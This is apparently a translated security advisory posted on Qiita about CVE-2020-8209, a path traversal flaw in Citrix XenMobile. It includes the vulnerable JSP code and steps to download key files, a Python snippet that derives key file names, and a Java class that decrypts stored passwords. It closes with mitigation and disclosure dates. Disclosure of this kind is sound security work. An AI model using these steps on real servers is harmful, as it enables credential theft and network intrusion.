0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

[翻译]Citrix XenMobile CVE-2020-8209 目录遍历任意文件读取

Last updated at Posted at 2020-11-17

原文链接:https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
原文作者:Andrey Medov

image.png

Citrix Endpoint Management(也称为XenMobile)用于管理员工的移动设备和移动应用程序。通常,由于Active Directory集成,它部署在网络外围并可以访问内部网络。这使XenMobile成为安全研究的主要目标。

在此类研究中,发现了路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件。

CVE-2020-8209 –路径遍历

利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。剥削不需要授权。在文件help-sb-download.jsp中标识了易受攻击的代码:

<%
    String sbFilePath="/opt/sas/support/";
    int length = 0;

    String sbFileName=(String)request.getParameter("sbFileName");

    ServletOutputStream outStream = response.getOutputStream();
    response.setHeader("Set-Cookie","fileDownload=true; path=/");
    response.setContentType("application/octet-stream");
    response.setHeader("Content-Disposition", "attachment; filename=\"" + sbFileName + '"');


    File file = new File(sbFilePath+sbFileName);
    byte[] byteBuffer = new byte[4096];
    DataInputStream in = new DataInputStream(new FileInputStream(file));

    while((in != null) && ((length =in.read(byteBuffer)) != -1))
    {
        outStream.write(byteBuffer,0,length);

    }

    in.close();
    outStream.flush();

%>

该参数sbFileName与字符串连接/opt/sas/support/,之后将字符串作为参数提供给File类构造函数。结果显示在以下屏幕截图中:
image.png

解密配置密码

尽管该应用程序以tomcat用户的特权运行,但仍可以读取诸如的配置文件/opt/sas/sw/config/sftu.properties。
image.png

密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和DataSecurity.jar处理。为了解密,需要相应的密钥。它们位于文件中/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。

image.png

这是文件内容的一个示例:

P.TXT1=vfjgegdwecmykhbispfg
P.TXT2=mbezvftvzwjopiruwewm
P.TXT3=gzaoaxmebrgffquankdx
P3.Salt=W3UK3PtDVgYq9Jd9QKReAw==
NLK=cT4nkjXGc/iUZ2TvCVkvmsZAsNTG/6OgE08ZMWvATcL2fXFgfwAJO/nhE7jsi6Zh
NLKS=SC01Cg==
WKS=CAVRK9/5+r5esY+bvrZJ1g==
SK=jTyjyNsyFbkrCnaI9Gq/0GVUp1fkq8nd+VHLe35T0rmmm8z7osNtgfSNPFulSSJ1
SKS=CF5ebQ==
UD.GK=69ict40YlMC9E1a2Tcgu3UVb0Lkd5RyadcQ4SEwcbKlUCR8Tv4lGv6N6BkirKk7l
GKS=4GLRGw==

使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理

image.png

并指.txt文件夹中的文件/opt/sas/rt/keys/。这些相同的步骤由库完成libsecure.so。

from base64 import b64encode
from hashlib import sha256
print(b64encode(sha256(b'vfjgegdwecmykhbispfg').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'mbezvftvzwjopiruwewm').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'gzaoaxmebrgffquankdx').digest()).decode('ascii').translate({47:None,61:None}))

image.png

生成的文件名WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt和NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt可以用于使用路径遍历漏洞从服务器下载相应的文件。

image.png

image.png

image.png

/opt/sas/sw/lib/libsecure.so还需要用于加密的库。

当务之急是这些文件(security.properties,WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt,NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt,libsecure.so),以保存到本地,他们有XenMobile服务器上的同一个文件的路径。

还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar。

在上述文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。

import com.citrix.xms.security.DataSecurity;

class decrypt {
    public static void main(String[] args) {
        if (args.length < 1) {
            System.out.println("Usage:\n    decrypt [encrypted string]");
            return;
        }
        System.out.println(DataSecurity.decryptDbPassword(args[0]));
    }
}

通过正确排列所有数据,我们可以从配置文件中解密密码。
image.png

缓解措施

可通过以下链接获得该通报:https://support.citrix.com/article/CTX277457。官方补丁会删除该文件/opt/sas/sw/tomcat/inst1/webapps/ROOT/jsp/help-sb-download.jsp,因此对help-sb-download.jsp的所有请求都可以视为非法请求,并且应被WAF阻止。建议检查访问日志中是否有以前的请求。

时间轴

  1. 2020年2月28日-报告给Citrix
  2. 2020年3月11日-最新版本已解决问题
  3. 2020年8月11日-发行了所有版本的补丁
  4. 2020年11月16日-公开披露
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?